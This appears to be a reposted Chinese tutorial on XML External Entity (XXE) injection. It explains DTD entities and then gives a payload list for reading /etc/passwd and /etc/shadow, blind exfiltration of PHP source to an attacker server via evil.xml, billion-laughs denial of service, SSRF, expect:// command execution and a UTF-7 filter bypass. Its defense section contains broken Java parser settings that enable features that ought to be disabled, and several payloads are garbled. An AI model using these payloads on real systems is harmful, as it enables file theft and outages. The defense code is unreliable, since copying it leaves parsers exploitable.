XXE


XML基础知识

<!--XML声明-->
<?xml version="1.0"?>

<!--DTD-->
<!DOCTYPE note [  <!--根元素定义-->
  <!ELEMENT note (to,from,heading,body)>
  <!--
    <!ELEMENT name type>
    type可以是EMPTY、#PCDATA、#CDATA、ANY、子元素
    PCDATA是会被解析器解析对文本
    CDATA是不会被解析器解析对文本
  -->
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]> 

<!--XML文档元素-->
<note>
  <to>Person1</to>
  <from>Person2</from>
  <heading>Hello World!</heading>
  <body>Welcome to Cyber Security</body>
</note> 

实体

一般实体 参数实体
内部实体声明方式 <!ENTITY 实体名 "文本内容"> <!ENTITY % 实体名 "文本内容">
外部实体声明方式 <!ENTITY 实体名 SYSTEM "外部文件地址"> <!ENTITY % 实体名 SYSTEM "外部文件地址">
引用方式 &name; &name;
使用场景 XML文档中 DTD中

内部一般实体

<!ENTITY email "88888@qq.com">

<!ENTITY correspondance "email:&email;">
<!ENTITY email "888888@qq.com"> 

注意:一般实体定义只能应用在另一个实体定义中,而不能在元素ELEMENT的定义中

外部一般实体

<!ENTITY correspondance "email:&email;">
<!ENTITY email "888888@qq.com">
<!ENTITY content SYSTEM "test323.txt">
]>

<person>
  <name>Jason</name>
  <addr>Shanghai</addr>
  &content;
</person>

test323.txt文件中的内容

<tel>18888888888</tel>
<br />
<email>&correspondance;</email>

内部参数实体

参数实体不能被应用在元素的声明中,不能使用参数实体来定义元素,只有在外部DTD中参数实体才能被应用到元素的声明当中。

1.xml文件中的内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person SYSTEM "test.dtd">
<person>
  <name>Jason</name>
  <addr>Shanghai</addr>
  <tel>18888888888</tel>
  <br />
  <email>888888@qq.com</email>
</person>

test.dtd文件中的内容

<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % end "(#PCDATA)">
<!ELEMENT name %end;>
<!ELEMENT addr %end;>
<!ELEMENT tel %end;>
<!ELEMENT br EMPTY>
<!ELEMENT email %end;>

外部参数实体

能将原来很长的DTD文档拆分成很多很小的、相互调用的文档集合,适合大型DTD文档的设计开发。

1.xml文件中的内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
  <!ELEMENT person (name,addr,tel,br,email)>
  <!ENTITY % content SYSTEM "test.dtd">
  %content;
]>
<person>
  <name>Jason</name>
  <addr>Shanghai</addr>
  <tel>18888888888</tel>
  <br />
  <email>888888@qq.com</email>
</person>

test.dtd文件中的内容

<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT name (#PCDATA)>
<!ELEMENT addr (#PCDATA)>
<!ELEMENT tel (#PCDATA)>
<!ELEMENT br EMPTY>
<!ELEMENT email (#PCDATA)>

XXE基础

概述

XXE(XML External Entity Injection)是一种针对XML终端实施的外部实体注入攻击,漏洞产生的根本原因就是在XML1.0标准中引入了ENTITY这个概念,且ENTITY可以在预定义的文档中进行调用,XXE漏洞就是通过实体的标识符访问本地或者远程内容。

XXE攻击要素

  • 需要在XML的Payload中包含外部实体声明

  • 服务端对用户输入检查不严格

  • 服务器本身允许实体扩展

XXE漏洞成因

太相信用户输入,把用户输入的XML格式数据直接解析,造成XXE漏洞。

**InputStream xml=request.getInputStream();**
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
InputSource is = new InputSource(xml);
Document doc = builder.parse(is);
Element element = doc.getDocumentElement();
NodeList nodes = element.getChildNodes();
for (int i = 0; i < nodes.getLength(); i++) {
  Boolean xmlUpdate = new XMLhandle(nodes.item(i).getNodeName(),nodes.item(i).getFirstChild().getNodeValue().toString());
} 

XXE漏洞挖掘

漏洞利用方式

  • 文件读取(本地文件读取)

  • 文件包含(远程文件包含)

  • 列目录(列出服务器目录有哪些文件)

  • SSRF(内网探测、内网漏洞利用)

  • 执行命令(依赖于PHP环境下的expect扩展)

判断是否存在XXE测试点

最直接的方法就是抓包,然后修改HTTP请求方法,修改Content-Type头部字段,查看返回包的相应,看看程序是否解析了发送的内容,一旦解析了,那么有可能存在漏洞。

判断是否支持外部实体

判断是否支持外部实体的方法比较简单,就是构造加载外部实体的Payload,然后查看是否成功加载,代码如下:

<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE ANY [
  <!ENTITY % shit SYSTEM "http://yourhost/evil.xml">
  %shit;
]>

libxml2.9.1及以后,默认不解析外部实体,可以使用 phpinfo()查看libxml2的版本信息。

有回显读取文件

如果在一个数据包中,发现了XML的特征后,那么只能是怀疑此处可能通过XML进行数据传输。在数据包中输入以下代码进行验证

<test>XXXXXX</test>

如果返回200不报错,并有返回结果。则可以确定此处是通过XML进行传输的。可以输入以下代码尝试进行文件读取。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
  <!ENTITY xxe SYSTEM file://etc/passwd>
]>
<xxe>&xxe;</xxe>

无回显XXE

我们先在Kali上开启apache服务,然后将下面的Payload发送过去

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php">
  <!ENTITY % dtd SYSTEM "http://192.168.61.130/evil.xml">
  %dtd;
  %send;
]>

evil.xml中的内容如下

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.61.130/?content=%file;'> %payload;

然后我们查看下apache的访问日志(tail -f /var/log/apache2/access.log)然后我们就能看到apache的访问请求,content参数的内容即为编码后的doLogin.php的代码

XML可用的外部实体类型

libxml2 PHP Java .Net
file
http
ftp
file
http
ftp
php
compress.zlib
compress.bzip2
data
glob
phar
http
https
ftp
file
jar
netdoc
mailto
gopher *
file
http
https
ftp

Payload列表

文件读取 / 文件泄漏

<!--?xml verison="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file://etc/shaodw">]>
<userInfo>
  <firstName>John</firstName>
  <lastName>&ent;</lastName>
</userInfo>


<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo> 

有回显的情况下使用。

DOS攻击

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<tag>&lol9;</tag>

无回显本地文件包含

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]>
<foo>&blind;</foo>

加载资源受限情况

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">
]>
<foo><result>&ac;</result></foo>

PHP语言以上Payload可以绕过资源受限情况加载外部资源

SSRF服务器请求

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

远程文件XML包含

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1..&test;<lol></lolz>

Base64编码

<!DOCTYPE test [
<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzo3dk">]>
<foo>&init;</foo>

利用SOAP协议进行探测攻击

利用SOAP格式可进行SSRF攻击

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

利用SVG协议执行命令

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
  <image xlink:href="expect://ls"></image>
</svg>

关键字过滤如ENTITY情况绕过

<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "file:///etc/passwd"
]>
<x>&f;</x>

变成下面这样子

<?xml version="1.0" encoding="utf-7"?>
+ADwAlQ-DOCTYPE ANY +AFs-
  +ADwAlQ-ENTITY f SYSTEM _ACl-file:///etc/passwd+AClAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4- 

关键字过滤用UTF-7编码绕过bypass

绕过无法引用外部实体

<?xml version="1.0"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</root>

当libxml2版本高于2.9.1时,默认无法引用外部实体,可尝试XXE文件包含攻击。

其他Payload

请参考:XXE Payloads

XXE防御

  • 过滤用户输入的XML数据(关键字:<!DOCTYPE<!ENTITYSYSTEM等)

  • 设置解析器参数,禁用外部实体

禁用DTDs(doctypes),几乎可以防御所有XML实体攻击
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

如果不能禁用DTDs,可以使用下面两项(必须同时存在)
reader.setFeature("http://xml.org/sax/features/external-general-entities", false); // 防止外部普通实体攻击
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", true); // 防止外部参数实体攻击

禁用外部DTD
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true); 
  • 使用开发语言提供的禁用外部实体的方法

    • PHP

      libxml_disable_entity_loader(true);
      
    • Python

      from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
      

靶场环境

XXE靶场源码:XXE-Lab


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM